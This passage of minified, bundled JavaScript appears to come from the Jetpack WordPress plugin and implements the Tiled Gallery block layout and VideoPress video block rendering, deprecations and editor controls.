term","jetpack"),_x("square","block search term","jetpack"),_x("circle","block search term","jetpack"),_x("mosaic","block search term","jetpack")],styles:w,supports:{align:["center","wide","full"],color:{gradients:!0,text:!1},customClassName:!1,html:!1,spacing:{margin:!0,padding:!0},__experimentalHideChildBlockControls:!0},title:__("Tiled Gallery","jetpack"),transforms:{from:[{type:"block",isMultiBlock:!0,blocks:["core/image"],isMatch:e=>_(e).length>0,transform:e=>{const t=_(e);return(0,o.createBlock)(`jetpack/${j}`,{images:t.map((e=>{let{id:t,url:n,link:r,alt:a}=e;return{id:t,url:n,link:r,alt:a}})),ids:t.map((e=>{let{id:t}=e;return t}))})}},{type:"block",blocks:["core/gallery","jetpack/slideshow"],transform:e=>{let{images:t}=e;const n=_(t);return n.length>0?(0,o.createBlock)(`jetpack/${j}`,{images:n.map((e=>{let{id:t,url:n,link:r,alt:a}=e;return{id:t,url:n,link:r,alt:a}})),ids:n.map((e=>{let{id:t}=e;return t}))}):(0,o.createBlock)(`jetpack/${j}`)}}],to:[{type:"block",blocks:["core/gallery"],transform:e=>{let{images:t,ids:n,columns:r,linkTo:a}=e;return(0,o.createBlock)("core/gallery",{images:t,ids:n,columns:r,imageCrop:!0,linkTo:a})}},{type:"block",blocks:["core/image"],transform:e=>{let{align:t,images:n}=e;return n.length>0?n.map((e=>{let{id:n,url:r,alt:a}=e;return(0,o.createBlock)("core/image",{align:t,id:n,url:r,alt:a})})):(0,o.createBlock)("core/image")}}]},edit:m.ZP,save:h.Z,providesContext:{imageCrop:"imageCrop"},deprecated:p.Z,example:{attributes:S}}},46936:function(e,t,n){"use strict";n.d(t,{Z:function(){return a}});var r=n(51806);function a(e){let{children:t,width:n}=e;const a=n?{flexBasis:`${n}%`}:void 0;return(0,r.createElement)("div",{className:"tiled-gallery__col",style:a},t)}},75084:function(e,t,n){"use strict";n.d(t,{Z:function(){return a}});var r=n(51806);function a(e){let{children:t,galleryRef:n}=e;return(0,r.createElement)("div",{className:"tiled-gallery__gallery",ref:n},t)}},21340:function(e,t,n){"use strict";n.d(t,{Z:function(){return h}});var r=n(51806),a=n(69307),o=n(65736),i=n(65235),s=n.n(i),l=n(3740),c=n(57773),u=n(81921),d=n(13369),p=n(46438),m=n(70216);const __=o.__;class h extends a.Component{renderImage(e,t){const{columns:n,imageFilter:a,images:i,isSave:s,linkTo:l,layoutStyle:p,onMoveBackward:m,onMoveForward:h,onRemoveImage:f,onSelectImage:g,selectedImage:b,setImageAttributes:v}=this.props,k=(0,o.sprintf)(/* translators: %1$d is the order number of the image, %2$d is the total number of images. */
__("image %1$d of %2$d in gallery","jetpack"),t+1,i.length),y=s?u.Z:c.Z,{src:E,srcSet:w}=(0,d.z)(e,{layoutStyle:p});return(0,r.createElement)(y,{alt:e.alt,"aria-label":k,columns:n,height:e.height,id:e.id,imageFilter:a,isFirstItem:0===t,isLastItem:t+1===i.length,isSelected:b===t,key:t,link:e.link,linkTo:l,onMoveBackward:s?void 0:m(t),onMoveForward:s?void 0:h(t),onRemove:s?void 0:f(t),onSelect:s?void 0:g(t),origUrl:e.url,setAttributes:s?void 0:v(t),showMovers:i.length>1,srcSet:w,url:E,width:e.width})}render(){const{align:e,children:t,className:n,columns:a,images:o,layoutStyle:i,roundedCorners:c,onResize:u,style:h,isSave:f,columnWidths:g}=this.props,b=(0,d.v)(i)?m.Z:p.Z,v=this.props.images.map(this.renderImage,this),k=i!==l.xJ?Math.min(c,l.Z5):0;return(0,r.createElement)("div",{style:h,className:s()(n,{[`has-rounded-corners-${k}`]:k>0})},(0,r.createElement)(b,{align:e,columns:a,columnWidths:f?g:void 0,images:o,layoutStyle:i,renderedImages:v,onResize:f?void 0:u}),t)}}},46438:function(e,t,n){"use strict";n.d(t,{Z:function(){return m}});var r=n(90017),a=n.n(r),o=n(51806),i=n(69307),s=n(6209),l=n(46936),c=n(75084),u=n(51309),d=n(96001),p=n(99856);class m extends i.Component{constructor(){super(...arguments),a()(this,"gallery",(0,i.createRef)()),a()(this,"pendingRaf",null),a()(this,"ro",null),a()(this,"handleGalleryResize",(e=>{this.pendingRaf&&(cancelAnimationFrame(this.pendingRaf),this.pendingRaf=null),this.pendingRaf=requestAnimationFrame((()=>{for(const{contentRect:t,target:n}of e){const{width:e}=t,r=[];(0,p.W)(n).forEach((t=>{r.push((0,p.i)(t,e))})),void 0!==this.props.onResize&&this.props.onResize(r)}}))}))}componentDidMount(){this.observeResize()}componentWillUnmount(){this.unobserveResize()}componentDidUpdate(e){(e.images!==this.props.images||e.align!==this.props.align||"columns"===this.props.layoutStyle&&e.columns!==this.props.columns)&&this.triggerResize()}triggerResize(){this.gallery.current&&this.handleGalleryResize([{target:this.gallery.current,contentRect:{width:this.gallery.current.clientWidth}}])}observeResize(){this.triggerResize(),this.ro=new s.Z(this.handleGalleryResize),this.gallery.current&&this.ro.observe(this.gallery.current)}unobserveResize(){this.ro&&(this.ro.disconnect(),this.ro=null),this.pendingRaf&&(cancelAnimationFrame(this.pendingRaf),this.pendingRaf=null)}getColumnWidths(e,t,n){let r=0;return e.map((e=>e.map((e=>{const n=t.slice(r,r+e);return r+=e,n})))).map((e=>(0,p.i)(e,n)))}render(){const{align:e,columns:t,images:n,layoutStyle:r,renderedImages:a}=this.props,s=(0,d.h9)(n),p="columns"===r?(0,d.sv)(s,t):(0,d.T9)(s,{isWide:["full","wide"].includes(e)}),m=i.Platform.select({web:()=>this.props.columnWidths,native:()=>this.getColumnWidths(p,a,1e3)})();let h=0;return(0,o.createElement)(c.Z,{galleryRef:this.gallery},p.map(((e,t)=>(0,o.createElement)(u.Z,{key:t},e.map(((e,n)=>{const r=a.slice(h,h+e);return h+=e,(0,o.createElement)(l.Z,{key:n,width:m?.[t]?.[n]},r)}))))))}}},96001:function(e,t,n){"use strict";n.d(t,{T9:function(){return S},h9:function(){return a},sv:function(){return i}});var r=n(92819);function a(e){return(0,r.map)(e,o)}function o(e){let{height:t,width:n}=e;return t&&n?n/t:1}function i(e,t){if(e.length<=t)return[Array(e.length).fill(1)];const n=(0,r.sum)(e)/t,a=[];let o=e,i=0;for(let e=0;e<t-1;e++){const t=(0,r.takeWhile)(o,(t=>{const r=i<=(e+1)*n;return r&&(i+=t),r})).length;a.push(t),o=(0,r.drop)(o,t)}return a.push(o.length),[a]}const s=j([2,1,2],5),l=x([P,P,L,P,P]),c=x([P,P,P,L,P,P,P]),u=j([3,1,3],5),d=x([L,P,P,L]),p=j([1,2,1],5),m=x([L,P,P,P]),h=j([1,3],3),f=x([P,P,P,L]),g=j([3,1],3),b=x([N(1.6),(0,r.overEvery)(T(.9),N(2)),(0,r.overEvery)(T(.9),N(2))]),v=j([1,2],3),k=j([1,1,1,1,1],1),y=j([1,1,1,1],1),E=j([1,1,1],3),w=x([(0,r.overEvery)(T(.9),N(2)),(0,r.overEvery)(T(.9),N(2)),N(1.6)]),_=j([2,1],3),C=x([function(e){return e>=2}]);function S(e){let{isWide:t}=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};const n=(e,a)=>{if(!a.length)return e;let o;o=a.length>15&&l(a)&&s(e)?[2,1,2]:a.length>15&&c(a)&&u(e)?[3,1,3]:5!==a.length&&d(a)&&p(e)?[1,2,1]:m(a)&&h(e)?[1,3]:f(a)&&g(e)?[3,1]:b(a)&&v(e)?[1,2]:t&&(5===a.length||10!==a.length&&a.length>6)&&k(e)&&(0,r.sum)((0,r.take)(a,5))<5?[1,1,1,1,1]:function(e,t){const n=(0,r.sum)((0,r.take)(t,4));return y(e)&&n<3.5&&t.length>5||n<7&&4===t.length}(e,a)?[1,1,1,1]:function(e,t,n){const a=(0,r.sum)((0,r.take)(t,3));return t.length>=3&&4!==t.length&&6!==t.length&&E(e)&&(a<2.5||a<5&&t.length>=3&&t[0]===t[2]||n)}(e,a,t)?[1,1,1]:w(a)&&_(e)?[2,1]:C(a)?[1]:a.length>3?[1,1]:Array(a.length).fill(1);const i=e.concat([o]),S=(0,r.sum)(o),j=a.slice(S);return n(i,j)};return n([],e)}function j(e,t){return n=>!(0,r.some)((0,r.takeRight)(n,t),(t=>(0,r.isEqual)(t,e)))}function x(e){return t=>t.length>=e.length&&(0,r.every)((0,r.zipWith)(e,t.slice(0,e.length),((e,t)=>e(t))))}function P(e){return e>=1&&e<2}function L(e){return e<1}function T(e){return t=>t>=e}function N(e){return t=>t<e}},99856:function(e,t,n){"use strict";n.d(t,{W:function(){return i},i:function(){return o}});var r=n(3740);function a(e,t){const n=(t-e.reduce(((e,t)=>e+t),0))/e.length;return e.map((e=>e+n))}function o(e,t){return function(e,t,n){let[o,i]=t;const d=1/o*(n-r.q3*(e.childElementCount-1)-i);return function(e,t){let{rawHeight:n,rowWidth:o}=t;const i=s(e),d=i.map((e=>(n-r.q3*(e.childElementCount-1))*c(e)[0])),p=a(d,o);i.forEach(((e,t)=>{const o=d[t],i=p[t];!function(e,t){let{colHeight:n,width:r,rawWidth:o}=t;const i=l(e).map((e=>o/u(e))),s=a(i,n);Array.from(e.children).forEach(((e,t)=>{const n=s[t];e.setAttribute("style",`height:${n}px;width:${r}px;`)}))}(e,{colHeight:n-r.q3*(e.childElementCount-1),width:i,rawWidth:o})}));return p.map((e=>parseFloat(e/o*100).toFixed(5)))}(e,{rawHeight:d,rowWidth:n-r.q3*(e.childElementCount-1)})}(e,function(e){const t=s(e).map(c).reduce(((e,t)=>{let[n,r]=e,[a,o]=t;return[n+a,r+o]}),[0,0]);return t}(e),t)}function i(e){return Array.from(e.querySelectorAll(".tiled-gallery__row"))}function s(e){return Array.from(e.querySelectorAll(".tiled-gallery__col"))}function l(e){return Array.from(e.querySelectorAll(".tiled-gallery__item > img, .tiled-gallery__item > a > img"))}function c(e){const t=l(e),n=t.length,r=1/t.map(u).reduce(((e,t)=>e+1/t),0);return[r,r*n||1]}function u(e){const t=parseInt(e.dataset.width,10),n=parseInt(e.dataset.height,10);return t&&!Number.isNaN(t)&&n&&!Number.isNaN(n)?t/n:1}},51309:function(e,t,n){"use strict";n.d(t,{Z:function(){return i}});var r=n(51806),a=n(65235),o=n.n(a);function i(e){let{children:t,className:n}=e;return(0,r.createElement)("div",{className:o()("tiled-gallery__row",n)},t)}},70216:function(e,t,n){"use strict";n.d(t,{Z:function(){return c}});var r=n(51806),a=n(92819),o=n(3740),i=n(46936),s=n(75084),l=n(51309);function c(e){let{columns:t,renderedImages:n}=e;const c=Math.min(o.hI,t),u=n.length%c;return(0,r.createElement)(s.Z,null,[...u?[(0,a.take)(n,u)]:[],...(0,a.chunk)((0,a.drop)(n,u),c)].map(((e,t)=>(0,r.createElement)(l.Z,{key:t,className:`columns-${e.length}`},e.map(((e,t)=>(0,r.createElement)(i.Z,{key:t},e)))))))}},10745:function(e,t,n){"use strict";n.d(t,{Z:function(){return l}});var r=n(51806),a=n(81518),o=n(3740),i=n(15078),s=n(21340);function l(e){let{attributes:t}=e;const{imageFilter:n,images:l}=t;if(!l.length)return null;const{align:c,className:u,columns:d=(0,i.F)(t),linkTo:p,roundedCorners:m,columnWidths:h}=t;return(0,r.createElement)(s.Z,{align:c,className:u,columns:d,imageFilter:n,images:l,isSave:!0,layoutStyle:(0,a.t)(o.P0,u),linkTo:p,roundedCorners:m,columnWidths:h})}},13369:function(e,t,n){"use strict";n.d(t,{v:function(){return c},z:function(){return u}});var r=n(13419),a=n(11313),o=n(92819),i=n(69424),s=n(99621),l=n(3740);function c(e){return["circle","square"].includes(e)}function u(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};if(!e.height||!e.width)return e.url?{src:e.url}:{};if((0,s.Z)())return{src:e.url};if((0,a.isBlobURL)(e.url)||/^https?:\/\/localhost/.test(e.url)||/^https?:\/\/.*\.local\//.test(e.url)||(0,r.Ug)()&&(0,r.M6)())return{src:e.url};const n=e.url.split("?",1)[0],{height:u,width:p}=e,{layoutStyle:m}=t,h=function(e){const{host:t}=new URL(e,window.location.href);return/\.files\.wordpress\.com$/.test(t)}(n)||!0===function(){if("undefined"!=typeof jetpack_plan&&"vip"===jetpack_plan.data)return!0}()?d:i.Z;let f;if(c(m)&&p&&u){const e=Math.min(l.GP,p,u);f=h(n,{resize:`${e},${e}`})}else f=h(n);let g;if(c(m)){const e=Math.min(600,p,u),t=Math.min(l.GP,p,u);g=(0,o.range)(e,t,300).map((e=>{const t=h(n,{resize:`${e},${e}`,strip:"info"});return t?`${t} ${e}w`:null})).filter(Boolean).join(",")}else{const e=Math.min(600,p),t=Math.min(l.GP,p);g=(0,o.range)(e,t,300).map((e=>{const t=h(n,{strip:"info",width:e});return t?`${t} ${e}w`:null})).filter(Boolean).join(",")}return Object.assign({src:f},g&&{srcSet:g})}function d(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};const n={width:"w",height:"h",letterboxing:"lb",removeLetterboxing:"ulb"},r=Object.assign(new URL(e,window.location.href),{username:"",password:"",port:"",search:"",hash:""});for(const[e,a]of Object.entries(t))r.searchParams.set(n.hasOwnProperty(e)?n[e]:e,a);return r.toString()}},10723:function(e,t,n){"use strict";n.d(t,{H:function(){return o},Z:function(){return i}});var r=n(51806),a=n(69307);const o=(0,a.createContext)(),i=e=>{let{onFilesSelected:t,onMediaItemSelected:n,onUploadFinished:a,children:i}=e;return(0,r.createElement)(o.Provider,{value:{onFilesSelected:t,onMediaItemSelected:n,onUploadFinished:a},children:i})}},90879:function(e,t,n){"use strict";n.d(t,{s:function(){return r},v:function(){return a}});const r=[{ratio:"2.33",className:"wp-embed-aspect-21-9"},{ratio:"2.00",className:"wp-embed-aspect-18-9"},{ratio:"1.77",className:"wp-embed-aspect-16-9"},{ratio:"1.33",className:"wp-embed-aspect-4-3"},{ratio:"1.00",className:"wp-embed-aspect-1-1"},{ratio:"0.56",className:"wp-embed-aspect-9-16"},{ratio:"0.50",className:"wp-embed-aspect-1-2"}],a={PUBLIC:0,PRIVATE:1,SITE_DEFAULT:2}},29899:function(e,t,n){"use strict";var r=n(4900);t.Z={attributes:{autoplay:{type:"boolean"},caption:{type:"string",source:"html",selector:"figcaption"},controls:{type:"boolean",default:!0},guid:{type:"string"},id:{type:"number"},loop:{type:"boolean"},muted:{type:"boolean"},poster:{type:"string"},preload:{type:"string",default:"metadata"},src:{type:"string"}},support:{reusable:!1},save:r.Z,isDeprecation:!0}},4900:function(e,t,n){"use strict";n.d(t,{Z:function(){return o}});var r=n(51806),a=n(52175);function o(e){let{attributes:t}=e;const{caption:n,guid:o}=t;if(!o)return null;const i=`https://videopress.com/v/${o}`;return(0,r.createElement)("figure",{className:"wp-block-embed is-type-video is-provider-videopress"},(0,r.createElement)("div",{className:"wp-block-embed__wrapper"},`\n${i}\n`),!a.RichText.isEmpty(n)&&(0,r.createElement)(a.RichText.Content,{tagName:"figcaption",value:n}))}},97504:function(e,t,n){"use strict";var r=n(30454),a=n(93512);t.Z={attributes:{autoplay:{type:"boolean"},caption:{type:"string",source:"html",selector:"figcaption"},controls:{type:"boolean",default:!0},guid:{type:"string"},id:{type:"number"},loop:{type:"boolean"},muted:{type:"boolean"},playsInline:{type:"boolean"},poster:{type:"string"},preload:{type:"string",default:"metadata"},src:{type:"string"},videoPressClassNames:{type:"string"},align:{type:"wide"}},support:{reusable:!1},isEligible:e=>{let{videoPressClassNames:t,guid:n}=e;return n&&void 0===t},migrate:e=>{const{className:t,videoPressClassNames:n}=e;return{...e,...(0,a.a)(t,n)}},save:r.Z,isDeprecation:!0}},30454:function(e,t,n){"use strict";n.d(t,{Z:function(){return i}});var r=n(51806),a=n(52175),o=n(92490);function i(e){const{attributes:{autoplay:t,caption:n,controls:i,guid:s,loop:l,muted:c,poster:u,preload:d,videoPressClassNames:p}={}}=e;if(!s)return null;const m=(0,o.p)(s,{autoplay:t,controls:i,loop:l,muted:c,poster:u,preload:d});return(0,r.createElement)("figure",{className:p},(0,r.createElement)("div",{className:"wp-block-embed__wrapper"},`\n${m}\n`),!a.RichText.isEmpty(n)&&(0,r.createElement)(a.RichText.Content,{tagName:"figcaption",value:n}))}},92490:function(e,t,n){"use strict";n.d(t,{p:function(){return a}});var r=n(96483);const a=(e,t)=>{let{autoplay:n,controls:a,loop:o,muted:i,poster:s,preload:l}=t;if(!e)return null;const c={...n&&{autoPlay:!0},...!a&&{controls:!1},...o&&{loop:!0},...i&&{muted:!0,persistVolume:!1},...s&&{posterUrl:s},..."none"!==l&&{preloadContent:l}};return(0,r.addQueryArgs)(`https://videopress.com/v/${e}`,c)}},93512:function(e,t,n){"use strict";n.d(t,{a:function(){return l}});var r=n(29512),a=n.n(r),o=n(73320),i=n.n(o);const s=[{ratio:"2.33",className:"wp-embed-aspect-21-9"},{ratio:"2.00",className:"wp-embed-aspect-18-9"},{ratio:"1.77",className:"wp-embed-aspect-16-9"},{ratio:"1.33",className:"wp-embed-aspect-4-3"},{ratio:"1.00",className:"wp-embed-aspect-1-1"},{ratio:"0.56",className:"wp-embed-aspect-9-16"},{ratio:"0.50",className:"wp-embed-aspect-1-2"}],l=(e,t)=>{const n=s.reduce(((e,t)=>{let{className:n}=t;return e[n]=!1,e}),{"wp-has-aspect-ratio":!1}),r=i()(e,{...n,"wp-block-embed":!1,"is-type-video":!1,"is-provider-videopress":!1}),o=new(a())(r);let l=i()(e,t);return o.forEach((e=>{l=l.replace(e,"")})),{className:r,videoPressClassNames:l.trim()}}},34284:function(e,t,n){"use strict";var r=n(46721);t.Z={attributes:{autoplay:{type:"boolean"},caption:{type:"string",source:"html",selector:"figcaption"},controls:{type:"boolean",default:!0},guid:{type:"string"},id:{type:"number"},loop:{type:"boolean"},muted:{type:"boolean"},playsinline:{type:"boolean"},poster:{type:"string"},preload:{type:"string",default:"metadata"},seekbarPlayedColor:{type:"string",default:""},seekbarLoadingColor:{type:"string",default:""},seekbarColor:{type:"string",default:""},src:{type:"string"},videoPressClassNames:{type:"string"}},support:{reusable:!1},isEligible:e=>e.guid,save:r.Z,isDeprecation:!0}},46721:function(e,t,n){"use strict";n.d(t,{Z:function(){return l}});var r=n(51806),a=n(52175),o=n(65235),i=n.n(o),s=n(96931);function l(e){const{attributes:{autoplay:t,caption:n,controls:o,guid:l,loop:c,muted:u,playsinline:d,poster:p,preload:m,videoPressClassNames:h,className:f,align:g,seekbarColor:b,seekbarPlayedColor:v,seekbarLoadingColor:k}={}}=e,y=a.useBlockProps.save({className:i()("wp-block-video",f,h,{[`align${g}`]:g})}),E=(0,s.p)(l,{autoplay:t,controls:o,loop:c,muted:u,playsinline:d,poster:p,preload:m,seekbarColor:b,seekbarPlayedColor:v,seekbarLoadingColor:k});return(0,r.createElement)("figure",y,(0,r.createElement)("div",{className:"wp-block-embed__wrapper"},`\n${E}\n`),!a.RichText.isEmpty(n)&&(0,r.createElement)(a.RichText.Content,{tagName:"figcaption",value:n}))}},96931:function(e,t,n){"use strict";n.d(t,{p:function(){return a}});var r=n(96483);const a=(e,t)=>{let{autoplay:n,controls:a,loop:o,muted:i,playsinline:s,poster:l,preload:c,seekbarColor:u,seekbarPlayedColor:d,seekbarLoadingColor:p}=t;if(!e)return null;const m={resizeToParent:!0,...n&&{autoPlay:!0},...!a&&{controls:!1},...o&&{loop:!0},...i&&{muted:!0,persistVolume:!1},...s&&{playsinline:!0},...l&&{posterUrl:l},..."none"!==c&&{preloadContent:c},...""!==u&&{sbc:u},...""!==d&&{sbpc:d},...""!==p&&{sblc:p}};return(0,r.addQueryArgs)(`https://videopress.com/v/${e}`,m)}},58351:function(e,t,n){"use strict";var r=n(83619);t.Z={attributes:{autoplay:{type:"boolean"},caption:{type:"string",source:"html",selector:"figcaption"},controls:{type:"boolean",default:!0},maxWidth:{type:"string",default:"100%"},guid:{type:"string"},id:{type:"number"},loop:{type:"boolean"},isVideoPressExample:{type:"boolean",default:!1},muted:{type:"boolean"},playsinline:{type:"boolean"},poster:{type:"string"},preload:{type:"string",default:"metadata"},seekbarPlayedColor:{type:"string",default:""},seekbarLoadingColor:{type:"string",default:""},seekbarColor:{type:"string",default:""},src:{type:"string"},videoPressTracks:{type:"array",items:{type:"object"},default:[]},videoPressClassNames:{type:"string"}},support:{reusable:!1},isEligible:e=>e.guid,migrate:e=>({...e,useAverageColor:!1}),save:r.Z,isDeprecation:!0}},83619:function(e,t,n){"use strict";n.d(t,{Z:function(){return l}});var r=n(51806),a=n(52175),o=n(65235),i=n.n(o),s=n(67502);function l(e){const{attributes:{autoplay:t,caption:n,controls:o,guid:l,loop:c,muted:u,playsinline:d,poster:p,preload:m,videoPressClassNames:h,className:f,align:g,seekbarColor:b,seekbarPlayedColor:v,seekbarLoadingColor:k,maxWidth:y}={}}=e,E=a.useBlockProps.save({className:i()("wp-block-video",f,h,{[`align${g}`]:g})}),w=(0,s.p)(l,{autoplay:t,controls:o,loop:c,muted:u,playsinline:d,poster:p,preload:m,seekbarColor:b,seekbarPlayedColor:v,seekbarLoadingColor:k});let _={};return y&&y.length>0&&"100%"!==y&&(_={maxWidth:y,margin:"auto"}),(0,r.createElement)("figure",E,(0,r.createElement)("div",{className:"wp-block-embed__wrapper",style:_},`\n${w}\n`),!a.RichText.isEmpty(n)&&(0,r.createElement)(a.RichText.Content,{tagName:"figcaption",value:n}))}},67502:function(e,t,n){"use strict";n.d(t,{p:function(){return a}});var r=n(96483);const a=(e,t)=>{let{autoplay:n,controls:a,loop:o,muted:i,playsinline:s,poster:l,preload:c,seekbarColor:u,seekbarPlayedColor:d,seekbarLoadingColor:p}=t;if(!e)return null;const m={resizeToParent:!0,cover:!0,...n&&{autoPlay:!0},...!a&&{controls:!1},...o&&{loop:!0},...i&&{muted:!0,persistVolume:!1},...s&&{playsinline:!0},...l&&{posterUrl:l},..."none"!==c&&{preloadContent:c},...""!==u&&{sbc:u},...""!==d&&{sbpc:d},...""!==p&&{sblc:p}};return(0,r.addQueryArgs)(`https://videopress.com/v/${e}`,m)}},30053:function(e,t,n){"use strict";var r=n(82674),a=n.n(r),o=n(90017),i=n.n(o),s=n(51806),l=n(86989),c=n.n(l),u=n(11313),d=n(52175),p=n(55609),m=n(94333),h=n(9818),f=n(69307),g=n(81975),b=n(65736),v=n(61074),k=n(65235),y=n.n(k),E=n(92819),w=n(99196),_=n(81427),C=n(10723),S=n(90879),j=n(31302),x=n(43774),P=n(75880),L=n(22081),T=n(32478),N=n(90953),A=n(77290);const __=b.__,_x=b._x,R=["image"],I=e=>{const t=(0,d.useBlockProps)({className:"resumable-upload"}),{onChangeTitle:n,title:r,filename:a,onSelectPoster:o,onRemovePoster:i,videoPosterImageData:l,fileForUpload:c,isUploadComplete:u,onDismissEditor:g,onSave:b,onVideoFrameSelected:k}=e,y=(0,h.useSelect)((e=>e("core/editor").isSavingPost()),[]),E=(0,m.usePrevious)(y);return(0,w.useEffect)((()=>{y&&!E&&b()}),[y,E,b]),(0,s.createElement)(C.Z,{onUploadFinished:e.uploadFinished},(0,s.createElement)(f.Fragment,null,e.blockSettings,(0,s.createElement)("div",t,(0,s.createElement)("div",{className:"uploader-block__logo"},(0,s.createElement)(v.Z,{icon:_.ll}),(0,s.createElement)("div",{className:"uploader-block__logo-text"},__("VideoPress","jetpack"))),(0,s.createElement)(T.$,{file:c,filename:a,title:r,onChangeTitle:n,onSelectPoster:o,onRemovePoster:i,videoPosterImageData:l,onVideoFrameSelected:k}),!u&&(0,s.createElement)(x.Z,{file:c}),u&&(0,s.createElement)("div",{className:"uploader-block__upload-complete"},(0,s.createElement)("span",null,__("Upload Complete!","jetpack")," 🎉"),(0,s.createElement)(p.Button,{variant:"primary",onClick:g},__("Done","jetpack"))))))},M=e=>{let{scripts:t}=e;const{html:n,interactive:r,caption:a,isSelected:o,hideOverlay:i,attributes:l,setAttributes:c}=e,{align:u,className:m,videoPressClassNames:h,maxWidth:f}=l,g=(0,d.useBlockProps)({className:y()("wp-block-video",m,h,{[`align${u}`]:u})});if("object"!=typeof t&&(t=[]),window.videopressAjax){const e=new Blob([`var videopressAjax = ${JSON.stringify(window.videopressAjax)};`],{type:"text/javascript"});t.push(URL.createObjectURL(e),window.videopressAjax.bridgeUrl)}return(0,s.createElement)("figure",g,(0,s.createElement)("div",{className:"wp-block-embed__wrapper"},(0,s.createElement)(p.ResizableBox,{enable:{top:!1,bottom:!1,left:!0,right:!0},maxWidth:"100%",size:{width:f},style:{margin:"auto"},onResizeStop:(e,t,n)=>{let r=getComputedStyle(n).width;if(null!==n.parentElement){r===getComputedStyle(n.parentElement).width&&(r="100%")}c({maxWidth:r})}},(0,s.createElement)(p.SandBox,{html:n,scripts:t,type:h}))),!r&&(0,s.createElement)("div",{className:"block-library-embed__interactive-overlay",onMouseUp:i}),(!d.RichText.isEmpty(a)||o)&&(0,s.createElement)(d.RichText,{tagName:"figcaption",placeholder:__("Write caption…","jetpack"),value:a,onChange:e=>c({caption:e}),inlineToolbar:!0}))};t.Z=(0,m.createHigherOrderComponent)((0,m.compose)([(0,h.withSelect)(((e,t)=>{const{autoplay:n,controls:r,fileForImmediateUpload:a,guid:o,loop:i,muted:s,playsinline:l,poster:c,preload:d,seekbarColor:p,seekbarLoadingColor:m,seekbarPlayedColor:h,src:f,useAverageColor:g}=t.attributes,{getEmbedPreview:b,isRequestingEmbedPreview:v}=e("core"),k=(0,N.p)(o,{autoplay:n,controls:r,loop:i,muted:s,playsinline:l,poster:c,preload:d,seekbarColor:p,seekbarLoadingColor:m,seekbarPlayedColor:h,useAverageColor:g}),y=!!k&&b(k),E=!!k&&v(k),w=!!window.videoPressResumableEnabled;return{fileForImmediateUpload:a,isFetchingPreview:E,isUploading:!w&&(0,u.isBlobURL)(f),preview:y,resumableUploadEnabled:w,url:k}})),(0,h.withDispatch)((e=>({invalidateCachedEmbedPreview:t=>{e("core/data").invalidateResolution("core","getEmbedPreview",[t])}}))),m.withInstanceId,e=>class extends f.Component{constructor(e){super(...arguments),i()(this,"hideOverlay",(()=>{this.setState({interactive:!0})})),i()(this,"setRatingAndAllowDownload",(async()=>{const e=(0,E.get)(this.props,"attributes.id"),t=await this.requestMedia(e);let n=(0,E.get)(t,"jetpack_videopress.rating");const r=(0,E.get)(t,"jetpack_videopress.allow_download"),a=(0,E.get)(t,"jetpack_videopress.privacy_setting",S.v.SITE_DEFAULT);n&&("X-18"===n&&(n="R-17"),this.setState({rating:n})),void 0!==r&&this.setState({allowDownload:!!r}),void 0!==a&&this.setState({privacySetting:a})})),i()(this,"schedulePreviewCacheReload",(()=>{const{invalidateCachedEmbedPreview:e,url:t}=this.props;null===this.previewCacheReloadTimer&&this.previewFailuresCount<5&&(this.previewFailuresCount++,this.previewCacheReloadTimer=setTimeout((()=>{e(t),this.previewCacheReloadTimer=null}),2e3*this.previewFailuresCount))})),i()(this,"fallbackToCore",(()=>{this.props.setAttributes({guid:void 0}),this.setState({fallback:!0})})),i()(this,"setGuid",(async()=>{const{attributes:e,setAttributes:t}=this.props,{id:n}=e;if(n)try{const e=await this.requestMedia(n);if(null===e)return;const r=(0,E.get)(e,"jetpack_videopress.guid");r?(t({guid:r}),this.setTracks(r)):this.fallbackToCore()}catch(e){this.setState({isFetchingMedia:!1}),this.fallbackToCore()}else t({guid:void 0})})),i()(this,"requestMedia",(async e=>{if(!e)return null;if(null!==this.state.media&&this.state.lastRequestedMediaId===e)return this.state.media;this.setState({isFetchingMedia:!0});const t=await c()({path:`/wp/v2/media/${e}`}).catch((()=>(this.setState({fallback:!0}),null))).finally((()=>{this.setState({isFetchingMedia:!1})})),{id:n}=this.props.attributes;return e!==n?null:(this.setState({media:t,lastRequestedMediaId:e}),t)})),i()(this,"setTracks",(e=>{const{setAttributes:t}=this.props;e&&c()({url:`https://public-api.wordpress.com/rest/v1.1/videos/${e}`,credentials:"omit",global:!0}).then((e=>{const n=[];Object.keys(e.tracks).forEach((t=>{for(const r in e.tracks[t]){const a=e.tracks[t][r];n.push({src:a.src,kind:t,srcLang:r,label:a.label})}})),t({videoPressTracks:n})}))})),i()(this,"switchToEditing",(()=>{this.props.setAttributes({id:void 0,guid:void 0,src:void 0})})),i()(this,"onSelectPoster",(e=>{const{setAttributes:t}=this.props;t({poster:e.url}),this.setState({videoPosterImageData:e})})),i()(this,"onRemovePoster",(()=>{const{setAttributes:e}=this.props;e({poster:""}),this.setState({videoPosterImageData:null}),this.posterImageButton.current.focus()})),i()(this,"toggleAttribute",(e=>t=>{this.props.setAttributes({[e]:t})})),i()(this,"getAutoplayHelp",(e=>e?__("Note: Autoplaying videos may cause usability issues for some visitors.","jetpack"):null)),i()(this,"getPrivacySettingHelp",(e=>{const t=parseInt(e,10);return S.v.PRIVATE===t?__("Restrict views to members of this site","jetpack"):S.v.PUBLIC===t?__("Video can be viewed by anyone","jetpack"):__("Follow the site privacy setting","jetpack")})),i()(this,"onChangeRating",(e=>{const t=this.state.rating;"X-18"===e&&(e="R-17"),-1!==(0,E.indexOf)(["G","PG-13","R-17"],e)&&this.updateMetaApiCall({rating:e},(()=>this.setState({isUpdatingRating:!0,rating:e})),(()=>this.setState({rating:t})),(()=>this.setState({isUpdatingRating:!1})))})),i()(this,"onChangeAllowDownload",(e=>{const t=this.state.allowDownload;this.updateMetaApiCall({allow_download:e?1:0},(()=>this.setState({isUpdatingAllowDownload:!0,allowDownload:e})),(()=>this.setState({allowDownload:t})),(()=>this.setState({isUpdatingAllowDownload:!1})))})),i()(this,"onChangePrivacySetting",(e=>{const t=this.state.privacySetting;this.updateMetaApiCall({privacy_setting:e},(()=>this.setState({isUpdatingPrivacySetting:!0,privacySetting:e})),(()=>this.setState({privacySetting:t})),(()=>this.setState({isUpdatingPrivacySetting:!1})))})),i()(this,"updateMetaApiCall",((e,t,n,r)=>{const{invalidateCachedEmbedPreview:a,url:o}=this.props,{id:i}=this.props.attributes;if(!i)return;t();const 